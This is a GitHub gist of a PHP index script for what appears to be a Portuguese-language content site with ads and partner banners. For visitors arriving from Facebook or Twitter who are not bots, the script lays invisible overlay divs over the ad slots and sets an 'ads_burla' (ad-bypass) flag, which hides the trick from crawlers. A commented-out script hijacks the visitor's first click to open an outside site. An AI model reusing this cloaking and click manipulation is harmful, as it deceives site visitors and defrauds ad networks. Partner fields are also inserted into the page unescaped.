Skip to content

Instantly share code, notes, and snippets.

Created May 27, 2015 14:01
Show Gist options
  • Save anonymous/a9087cd5c2845d4b5572 to your computer and use it in GitHub Desktop.
Save anonymous/a9087cd5c2845d4b5572 to your computer and use it in GitHub Desktop.
<?php
define('x', true);
$preg_mobile = preg_match('/android|mobile|iphone|avantgo|blackberry|bolt|boost|cricket|docomo|fone|hiptop|mini|mobi|palm|phone|pie|tablet|up\.browser|up\.link|webos|wos/i', $_SERVER['HTTP_USER_AGENT']);
require './includes/config.php';
require './includes/functions.php';
require './includes/skin.php';
$db = new MySQLi($CONF['host'], $CONF['user'], $CONF['pass'], $CONF['name']);
if (!$db) {
die('Falha ao conectar ao MySQL');
}
$db->set_charset('utf8');
if (isset($_GET['a']) && isset($action[$_GET['a']])) {
$source = $action[$_GET['a']];
} else if (isset($_GET['a'])) {
header("Location: " . $CONF['real_url']);
die();
} else {
$source = 'index';
}
/*$sql = $db->query('SELECT C.* FROM config as C WHERE C.id=1 LIMIT 1;');
$config = $sql->fetch_assoc();
$sql->free_result();
unset($sql);*/
$config = array();
$TMPL['parceiros'] = '';
$TMPL['fb']=$TMPL['tw']=$TMPL['gp']='';
$TMPL['li_sociais']='';
if ($db->multi_query('SELECT C.id,C.descr,C.titulo,C.ads_html,C.ads_728,C.ads_burla,C.fb,C.tw,C.gp,C.iframe FROM config as C /*WHERE C.id=1*/ LIMIT 1;SELECT P.url,P.nome,P.banner FROM parceiros as P WHERE P.status="1";')) {
if ($result = $db->store_result()) {
/*Configurações*/
$config = $result->fetch_assoc();
$result->free();
/*Parceiros*/
$db->more_results() && $db->next_result();
$result = $db->store_result();
while ($parceiros = $result->fetch_assoc()) {
$TMPL['parceiros'] .= '<li><a href="' . $parceiros['url'] . '" title="' . $parceiros['nome'] . '" target="_blank"><img src="' . $parceiros['banner'] . '"></a></li>';
}
if (!empty($_GET['to']) and $_GET['to'] == 'blogoteca') {
$TMPL['blogoteca'] = preg_replace('/(<li>|<\/li>)/i', '', $TMPL['parceiros']);
}
$result->free();
}
}
$TMPL['ads_burla'] = 's';
$TMPL['iframe'] = '';
$TMPL['ads_html'] = $TMPL['ads_728'] = $TMPL['desc'] = '';
if (!empty($config['id'])) {
$TMPL['desc'] = (!empty($config['descr'])) ? $config['descr'] : $TMPL['desc'];
$TMPL['titulo'] = (!empty($config['titulo'])) ? $config['titulo'] : $TMPL['titulo'];
$TMPL['ads_html'] = (!empty($config['ads_html'])) ? $config['ads_html'] : '';
$TMPL['ads_728'] = (!empty($config['ads_728'])) ? $config['ads_728'] : '';
$TMPL['fb']= $config['fb'];
$TMPL['tw']= $config['tw'];
$TMPL['gp']= $config['gp'];
$TMPL['iframe'] = $config['iframe'];
if($config['fb']!=''){
$TMPL['li_sociais'] .= '<li class="fb"><a href="//fb.com/'.$config['fb'].'" target="_blank" class="fb"></a></li>';
}
if($config['tw']!=''){
$TMPL['li_sociais'] .= '<li class="tw"><a href="//twitter.com/'.$config['tw'].'" target="_blank" class="tw"></a></li>';
}
if($config['gp']!=''){
$TMPL['li_sociais'] .= '<li class="gp"><a href="//plus.google.com/'.$config['gp'].'" target="_blank" class="gp"></a></li>';
}
if (/*$_SERVER['HTTP_CF_IPCOUNTRY'] == 'br' and */!empty($_SERVER['HTTP_REFERER']) and (preg_match('/(fb|facebook|twitter|portalnoticiador)\.com/i', $_SERVER['HTTP_REFERER']) || preg_match('/t\.co/i', $_SERVER['HTTP_REFERER'])) and !stristr($_SERVER['HTTP_USER_AGENT'], 'bot')) {
$TMPL['iframe'] = '';
$disable = '<div style="width:30px;height:15px;background-color:transparent; position:absolute;right:4px;z-index:999999;"></div>';
/*if(!empty($_GET['a']) and !empty($_GET['id']) and $_GET['id']=='7'){
$disable .= '<script> var abre = true; window.onload = function () { document.onclick = function (e) { if (abre == true) { var a = document.createElement("a"); a.href = "http://meuinsta.com/"; var evt = document.createEvent("MouseEvents"); evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); a.dispatchEvent(evt); abre = false; }; }; };</script>';
}*/
$TMPL['ads_html'] = $disable . $TMPL['ads_html'];
$TMPL['ads_728'] = $disable . $TMPL['ads_728'];
$TMPL['ads_burla'] = ($config['ads_burla'] == 's') ? 's' : 'n';
$disable = '';
}
}
require './sources/' . $source . '.php';
$TMPL['content'] = Page();
$skin = new skin('all');
echo $skin->make();
$db->kill($db->thread_id);
$db->close();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment